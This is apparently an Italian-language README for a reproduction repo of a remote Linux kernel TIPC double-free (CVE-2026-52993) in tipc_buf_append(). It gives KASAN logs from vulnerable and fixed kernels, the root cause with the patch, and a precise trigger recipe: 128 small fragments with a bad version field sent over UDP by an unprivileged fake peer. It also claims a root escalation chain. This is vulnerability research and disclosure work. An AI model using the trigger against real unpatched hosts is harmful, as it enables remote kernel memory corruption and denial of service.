Riproduzione ed exploit per un double-free in TIPC su Linux (CVE-2026-52993): trigger KASAN remoti e locali più una catena funzionante di escalation dei privilegi da uid-1000 a root.
Double-free / slab-use-after-free nel percorso di riassemblaggio dei frammenti TIPC del kernel Linux, tipc_buf_append() in net/tipc/msg.c.
| Componente | net/tipc/msg.c — tipc_buf_append() / tipc_msg_validate() |
| Classe | CWE-415 double free (si manifesta come slab-use-after-free) |
| Tipo | Double free (CWE-415), si manifesta come slab-use-after-free |
| CVSS (Linux CNA) | 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (remoto); raggiungibile anche localmente |
| Introdotto | d618d09a68e4 (v4.15) |
| Corretto | d293ca716e7d mainline |
| Corretto in (stable) | 5.10.258, 5.15.209, 6.1.175, 6.6.141, 6.12.91, 6.18.33, 7.0.10, 7.1 |
| Vulnerabile in questa repro | linux 6.6.140 (ultima 6.6.y senza la correzione) |
| Controllo corretto | linux 6.6.141 |
Il bug è raggiungibile in due modi ed entrambi sono dimostrati contro il kernel vulnerabile, con il kernel corretto come controllo ad attacco identico:
| Topologia | 6.6.140 (vulnerabile) | 6.6.141 (corretto) |
|---|---|---|
Remoto: guest attaccante → guest vittima su un cavo virtuale; l'attaccante non esegue TIPC, nessuna credenziale, fakepeer come uid 1000 CapEff=0, UDP semplice | BUG: KASAN: slab-use-after-free in kfree_skb_reason ← tipc_buf_append, scatenato nella softirq di ricezione della vittima (by task swapper/1/0, <IRQ>) | pulito — stesso handshake (DSC_RESP + RESET) e 12×128 frammenti consegnati, nessun report |
Locale: due netns unite da veth, iniezione AF_PACKET (trigger.sh) | stesso report KASAN | pulito |
La riga remota è la prova di sfruttabilità: due guest QEMU che non condividono
nulla se non un cavo Ethernet virtuale. Il guest attaccante ha un kernel
completamente aggiornato (6.6.141 — la macchina attaccante è irrilevante per il bug), non configura alcun TIPC
(nessun node address, nessun bearer), non possiede alcun account o capability, e non parla alcuno stack
TIPC: ogni byte dell'attacco è prodotto da un socket UDP in userspace
(harness/fakepeer.c) eseguito sotto /dropuid 1000 1000.
Log di evidenza:
logs/remote-6.6.140-vuln-victim.log / logs/remote-6.6.140-vuln-attacker.log — il trigger remoto, kernel vulnerabilelogs/remote-6.6.141-fixed-victim.log / logs/remote-6.6.141-fixed-attacker.log — attacco identico, kernel corretto, nessun reportlogs/local-6.6.140-vuln.log / logs/local-6.6.141-fixed.log — repro locale su singola VM + controllologs/remote-unauth-6.6.140.log, logs/remote-unauth-6.6.141-fixed.log — variante netns su singola VM dell'attacco non autenticatologs/SUCCESS-instrumented-6.6.140.log — pr_info di debug TIPC temporanei che mostrano i rapporti di riassemblaggiologs/remote-diag-6.6.140-victim.log — contatori di consegna dei pacchetti usati per indagare la stranezza di e1000 (sotto)Lato attaccante dell'esecuzione remota (logs/remote-6.6.140-vuln-attacker.log):
=== attacker: the attack runs uid 1000, CapEff=0 ===
Uid: 1000 1000 1000 1000
CapEff: 0000000000000000
fakepeer: NO tipc, NO caps. uid=1000 victim=10.10.0.2:6118 me=10.10.0.1:6118 claiming tipc addr 0x01001001
fakepeer: <- frame len=56 user=7(LINK_PROTOCOL) type=1 prevnode=0x01001002 (link up)
fakepeer: sent 128 fragments (activate + frags over plain UDP)
Lato vittima (logs/remote-6.6.140-vuln-victim.log) — la corruzione è
attribuita al wire (receive softirq), non a un task locale:
BUG: KASAN: slab-use-after-free in kfree_skb_reason+0x2f/0x2d0
Read of size 4 at addr ffff888009ee9d14 by task swapper/1/0
...
Call Trace:
<IRQ>
kfree_skb_reason
tipc_buf_append
tipc_link_input
tipc_link_rcv
tipc_rcv
...
The buggy address belongs to the object at ffff888009ee9c40
which belongs to the cache skbuff_head_cache of size 224
The buggy address is located 212 bytes inside of
freed 224-byte region [ffff888009ee9c40, ffff888009ee9d20)
La lettura a +212 è sk_buff->users: la seconda kfree_skb() sulla
testa riassemblata già liberata — esattamente il double free che la correzione chiude.
Le esecuzioni locali producono lo stesso report con il percorso inject/trigger.sh
(stack KASAN in logs/local-6.6.140-vuln.log).
L'esecuzione della strumentazione dimostra che il trigger supera il gate di riallocazione su questo percorso:
TIPCDBG buf_append LAST head=... len=3328 truesize=111360 roundup=4096 ratio=27
ratio=27 è ben oltre la soglia >= 4, quindi tipc_msg_validate() esegue
la riallocazione/free e il percorso vulnerabile err: tocca poi lo
skb liberato.
tipc_msg_validate(&head) può riallocare lo skb che riceve e liberare quello
vecchio. All'interno di tipc_buf_append() l'argomento era la copia locale head, non
il *headbuf del chiamante. Se la riallocazione avviene e la validazione poi fallisce,
il percorso err: libera *headbuf — che punta ancora al vecchio skb, già liberato.
Un oggetto, liberato due volte (i frammenti accodati pendono dal
frag_list dell'head e vengono rilasciati tramite esso):
if (fragid == LAST_FRAGMENT) {
TIPC_SKB_CB(head)->validated = 0;
if (unlikely(!tipc_msg_validate(&head))) /* &head: local copy! */
goto err;
...
}
err:
kfree_skb(*buf); /* NULL at this point */
kfree_skb(*headbuf); /* already freed by the validate() reallocation */
La correzione propaga il nuovo puntatore all'indietro:
if (unlikely(!tipc_msg_validate(&head))) {
if (head != *headbuf)
*headbuf = head;
goto err;
}
La riallocazione è vincolata da skb->truesize / buf_roundup_len(skb->len) >= 4, e il fallimento successivo è una qualsiasi ordinaria failure di validazione. Il trigger:
seqno == rcv_nxt), eLo skb della vittima è in stile tipc_buf_acquire(): un piccolo head lineare con un
truesize grande (overhead SKB_TRUESIZE) per un len minuscolo. Aggiungere i minuscoli frammenti ricevuti come page frags fa crescere truesize mentre buf_roundup_len() resta fissato al suo minimo di 1024, così il rapporto sale linearmente con il numero di frammenti.
fakepeer.c/inject.c inviano 128 frammenti da 50 byte sul wire (payload di 26 byte) con l'header interno del primo frammento che porta version = 1
invece di TIPC_VERSION = 2, così la validazione fallisce subito dopo la riallocazione.
+-----------------+ QEMU socket netdev +------------------+
| attacker guest | ======== virtual Ethernet =======> | victim guest |
| 10.10.0.1 | (127.0.0.1:<port>) | 10.10.0.2 |
| | | |
| kernel 6.6.141 | | kernel 6.6.140 |
| (fixed) | | (vulnerable) |
| NO TIPC config | -- LINK_CONFIG DSC_REQ --------> | tipc node 1.1.2 |
| fakepeer | -- LINK_PROTOCOL ACTIVATE -----> | udp bearer u0 |
| uid 1000 | -- MSG_FRAGMENTER × 128 -------> | :6118 |
| CapEff=0 | <- DSC_RESP / RESET ----------- | |
+-----------------+ +------------------+
harness/run-remote.sh avvia entrambi i guest su una coppia di netdev QEMU socket (un
cavo Ethernet virtuale tra due processi QEMU; nessun privilegio necessario sull'
host) ed esegue harness/fakepeer.c sul lato attaccante. fakepeer parla appena
abbastanza del protocollo wire TIPC su semplice UDP: